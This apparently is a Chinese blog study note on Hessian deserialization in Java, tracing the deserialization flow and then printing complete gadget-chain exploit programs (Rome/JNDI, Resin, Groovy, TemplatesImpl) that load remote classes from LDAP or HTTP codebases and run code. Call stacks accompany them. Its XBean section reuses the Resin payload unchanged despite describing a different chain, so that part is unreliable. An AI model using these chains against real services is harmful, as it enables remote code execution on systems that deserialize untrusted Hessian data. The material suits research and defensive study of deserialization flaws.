Hessian反序列化

简介

Hessian 是 caucho 公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范,一般称之为 Hessian ,并逐步迭代,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。

这是一种动态类型的二进制序列化和 Web 服务协议,专为面向对象的传输而设计。Hessian 协议在设计时,重点的几个目标包括了:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。

对于这样的设计,caucho 公司其实提供了两种解决方案,一个是 Hession,一个是 Burlap。Hession 是基于二进制的实现,传输数据更小更快,而 Burlap 的消息是 XML 的,有更好的可读性。两种数据都是基于 HTTP 协议传输。

Hessian 本身作为 Resin 的一部分,但是它的 com.caucho.hessian.client 和 com.caucho.hessian.server 包不依赖于任何其他的 Resin 类,因此它也可以使用任何容器如 Tomcat 中,也可以使用在 EJB 中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。

作为一个二进制的序列化协议,Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

引用自su18师傅的介绍https://su18.org/post/hessian/#%E4%BA%8C-%E4%BB%8B%E7%BB%8D

RPC协议

RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便
RPC协议的一次远程通信过程如下

简单使用

环境依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

新建一个Person类并实现序列化接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.ocean;

import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
}

新建一个Hessian序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.ocean;  
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class Hessian_stu {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws IOException {
Person person = new Person();
person.setAge(18);
person.setName("Feng");

byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
}
}

再来和Java原生序列化对比一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.ocean;  
import java.io.*;
public class Ser_Test {
public static <T> byte[] serialize(T t) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(t);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
ObjectInputStream ois =new ObjectInputStream(bai);
return (T) ois.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setAge(18);
person.setName("Feng");

byte[] s=serialize(person);
System.out.println((Person) deserialize(s));
}
}

这里对比就可以出来Hessian的序列化的数据长度比Java原生的序列化要短。

Hessian反序列化漏洞分析

这里我们调试一下Hessian反序列化的流程看一下

这里要先跟进这个read()方法

这里会返回77这个Ascii码为什么呢?这里其实是因为在Hessian序列化对象的时候总是会将结果处理成一个Map所以序列化结果的第一个byte总是M而它的Ascii码就是77

这里向下走就会进入到M这个case里我们跟进readType方法

这里就是获取我们序列化进去的Person对象的类型,继续回到原来的位置跟进readMap方法

这里会先根据类型获取一个反序列化器,如果获取不到就使用_hashMapDeserializer来进行readMap,如果他也为null就新建一个HashMap类的反序列化器调用readMap方法。这里我们能够获取到Person的反序列化器跟进去看看

先实例化instantiate对象然后返回readMap跟进去看看

这里会循环获取Person对象中属性的值,然后resolve解析成Person对象。这就是一个正常对象的反序列化流程。

下面来看看恶意的链是怎么触发的我们手动给他赋值让其走到最后一个逻辑看看会调用哪个readMap里

跟进看看

补充一下就是这里的readObject会去继续反序列化读出来前面传入的值当作key所以后面调用链中使用hashMap 传入的key能够被触发。
关键点在下面的put方法中他会反序列化获取一个对象放入key的位置,在跟进put方法

可以看到这里会调用hash方法跟进去

这里调用里hashcode方法,在前面分析过的Rmoe链子就可以在这里使用具体调用链参考Rome反序列化这里我直接给出Payload利用的是Jndi注入的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.ocean;  

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_Rome_Jndi {
public static void main(String[] args) throws Exception{
// ldap url
String url = "ldap://127.0.0.1:1389/hdtx58";

// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);

// 创建toStringBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HashMap
HashMap hashMap = makeMap(objectBean, "aaaa");


// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
hessian2Output.writeObject(hashMap);
hessian2Output.close();

// 反序列化
FileInputStream fileInputStream = new FileInputStream("ser.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();

}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

这里还是依然是在Windows的环境下复现成功Mac下没成功不知道为啥☹️。

这里来贴一下调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
main:42, Hessian_Rome_Jndi (org.example)

补充一个其他师傅的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.ocean;  

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_Rome_Jndi {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://10.37.129.2:1389/oblxsg";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

需要添加依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

参考: https://goodapple.top/archives/1193
搭建环境有点复杂。

这里继续写完这篇反序列化的学习,因为期末考试加上每天要打游戏所以实在是没时间写了,今天抽空写一下免得自己以后又忘记了。

Resin链

依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>

利用链也提前标注一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
loadClass:85, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
composeName:180, ContinuationContext (javax.naming.spi)
toString:353, QName (com.caucho.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
Hessian_unserialize:87, Hessian_Resin (com.ocean)
main:43, Hessian_Resin (com.ocean)

调用链分析

先来说一下这条链子主要是通过HashMap中PutVal方法里的key.equals(k)触发XString 的equals方法。其实之前也有过了解在学习FastJson的时候

这里会调用toSting方法而这里利用的是com.caucho.naming.QName类。看看其toString方法

会调用一个composeName的方法,利用的是javax.naming.spi.ContinuationContext这个类

这个方法会调用getTargetContext方法,跟进去看看

发现这里调用了NamingManager.getContext方法,这里就比较熟悉了,分析过Jndi注入的师傅应该都有了解,这里我们在走一遍,跟进这个getContext方法。这里多说一句可以看到传入的是cpe.getResolveObj所以在后面构造的时候会使用CannotProceedException这个类的构造方法构造而已的refrence对像传入这里

走到getObjectInstace方法中

会调用到这个getObjectFactoryference方法

这里就是漏洞触发点了,他会现在本地加载类,如果找不到就会去远程加载类,但是同时会判断这个codebase的值,所以会受到java的版本影响。

来看一下网上的Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.ocean;  
import com.caucho.hessian.io.*;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Hessian_Resin {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
String codebase="http://127.0.0.1:8888/";
String clazz="Exp";

Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(new Reference("siJdcpuR", clazz,codebase));
Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx,"aiwin","aiwin1"); //_items要过for循环
String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hash
XString xString = new XString(unhash);


HashMap<Object, Object> hashMap = new HashMap<>();
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));
Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));
setFieldValue(hashMap, "table", tbl);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);




}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= 65535) {
if (div != 0)
partial.append((char)div);
partial.append((char)rem);
} else {
unhash0(partial, div);
partial.append((char)rem);
}
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
SerializerFactory serializerFactory=new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
}

成功弹出计算器。看到Payload其实会有疑问就是有两个计算hash的地方,这里我是看的其他师傅的blog可以参考他们的解释:

https://mp.weixin.qq.com/s/Dug5SK1y4WLhYMLdS7ff4g
https://xz.aliyun.com/t/13599

这里要想走到这个key.equals就需要满足以下条件

  • (p = tab[i = (n - 1) & hash]) == null
  • p.hash == hash

那么为什么可以利用hash碰撞来进行绕过呢,是因为Xstring方法冲写了hashcode方法

这是调用的str方法

就是将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数。所以我们可以根据Qname的hashcode来构造Xstring的hashcode也就可以触发整条调用链

XBean链

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.24</version>
</dependency>

调用链

1
2
3
4
5
6
7
8
9
10
11
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
main:34, Hessian_XBean (com.ocean)

调用链分析

XBean 这条链几乎是与 Resin 一模一样,只不过是在 XBean 中找到了类似功能的实现。
这里首先还是会从Xstring这里触发toString方法不过这次走的Binding类的toString方法

这里只有一个getObject方法,而在ContextUtil$ReadOnlyBinding类里存在getObject方法,并且也是Binding的子类,所以调用ReadOnlyBinding的toString会执行到ReadOnlyBinding的getObject方法。

这里会调用ContextUtil#resolve方法跟进

可以看到这里存在NamingManager.getObjectInstance方法那么剩下的就和上面Resign一样了。从远程加载恶意类执行。

给出Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.ocean;  
import com.caucho.hessian.io.*;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Hessian_Resin {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
String codebase="http://127.0.0.1:8888/";
String clazz="Exp";

Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(new Reference("Exp", clazz,codebase));
Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx,"ocean","ocean"); //_items要过for循环
String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hash
XString xString = new XString(unhash);


HashMap<Object, Object> hashMap = new HashMap<>();
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));
Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));
setFieldValue(hashMap, "table", tbl);
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);




}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= 65535) {
if (div != 0)
partial.append((char)div);
partial.append((char)rem);
} else {
unhash0(partial, div);
partial.append((char)rem);
}
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
SerializerFactory serializerFactory=new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
}

成功弹出计算器,但是可以看到Payload中出现了一个HotSwappableTargetSource方法这是为什么呢?其实是为了绕过前面的hash那里的判断具体是因为什么可以参考:
https://mp.weixin.qq.com/s/dbT8_O3o9BbCKcg-ecGMgg
我自己的理解是因为这个类他存在equals方法

并且这里的target是可控的

Groovy链

环境依赖

1
2
3
4
5
<dependency>  
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.3.9</version>
</dependency>

调用链分析

这条链子的关键点在MethodClosure这个类中的docall方法

再来看看他的构造方法

可以看到接收两个参数一个object任意对象一个字符串方法,在结合上面的doCall方法这里很容易能看出来就是可以调用任意对象的任意方法

并且参数也是可控的。那这里就去需要找一下谁会调用doCall方法并且是可控的找到Closure类的call方法调用doCall方法

这里是通过反射调用的,再去找一下谁调用了call方法,找到了ConvertedClosure类里面的invokeCustom方法

并且这里的getDelegate是可控的师傅直接看ConversionHandler类的构造方法我就不贴图了,那这个invokeCustom方法又是在哪里被调用的呢?

在它的父类里的invoke方法中会调用这里,所以现在需要找一个动态代理的形式来进行触发并且调用Resin链的后半段ContinuationDirContext类中的getTargetContext方法完成链子的触发。
所以现在需要找到一个可以触发前半段链的入口,这里只能用TreeMap类原因参考
https://mp.weixin.qq.com/s/daciyp4xHqbEy9drMnKizg
https://xz.aliyun.com/t/13345?time__1311=GqmxuiDQ5Cq0HRx%2BhODcDRxvbSh27bD#toc-7

记录下Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package com.ocean;  
import com.caucho.hessian.io.*;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import javax.naming.CannotProceedException;

import javax.naming.Reference;
import java.io.*;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.lang.reflect.Proxy;
import java.util.Hashtable;
import java.util.TreeMap;

public class Hessian_Groovy {
public static void main(String[] args) throws Throwable {
Reference reference = new Reference("Exp", "Exp", "http://127.0.0.1:8888/");

CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(reference);
Class<?> aClass = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class,Hashtable.class);
declaredConstructor.setAccessible(true);
Object c1 = declaredConstructor.newInstance(cpe, new Hashtable<>());

MethodClosure methodClosure = new MethodClosure(c1,"listBindings");

ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "compareTo");

Object o = Proxy.newProxyInstance(convertedClosure.getClass().getClassLoader(), new Class[]{Comparable.class}, convertedClosure);

Class<?> e = Class.forName("java.util.TreeMap$Entry");
Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor1.setAccessible(true);
Object a = declaredConstructor1.newInstance("a", 1, null);

Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor2.setAccessible(true);
Object o1 = declaredConstructor2.newInstance(o, 2, a);

Class<?> t = Class.forName("java.util.TreeMap");
TreeMap treeMap = (TreeMap) t.newInstance();

Field size = t.getDeclaredField("size");
size.setAccessible(true);
size.set(treeMap,2);

Field modCount = t.getDeclaredField("modCount");
modCount.setAccessible(true);
modCount.set(treeMap,2);

Field root = t.getDeclaredField("root");
root.setAccessible(true);
root.set(treeMap,a);

Field right = e.getDeclaredField("right");
right.setAccessible(true);
right.set(a,o1);

byte[] serialize = serialize(treeMap);
unSerialize(serialize);

}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(obj);
output.flush();
byte[] bytes = baos.toByteArray();
return bytes;
}

public static void unSerialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
}

成功弹出

TemplatesImpl+SignedObject二次反序列化

使用于在不出网的场景下使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public class Hessian_TemplatesImpl_SignedObject {  
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Hessian_stu/src/main/java/Exp.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(objectBean,"1");

byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);


}
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

正常我们使用Rome结合TemplatesImpl进行利用会发现利用不成功这是为什么呢?

这里其实是由于TemplatesImpl类中被transient修饰的_tfactory属性无法被序列化,进而导致TemplatesImpl类无法初始化

那么为什么我们之前使用Java原生的反序列化时不会报错呢?

这是因为如果在反序列化时重写readObject的类会自动调用重写的readObject方法,看一下TemplatesImpl的readObject方法

可以看到它手动new 了一个TransformerFactoryImpl对象给_tfactory。如何绕过呢,就是结合SignedObject进行二次反序列化即可绕过因为SignedObject中的readObject是java原生的,具体原理参考二次反序列化直接给出Payload

1
2
3
4
5
6
7
8
9
10
11
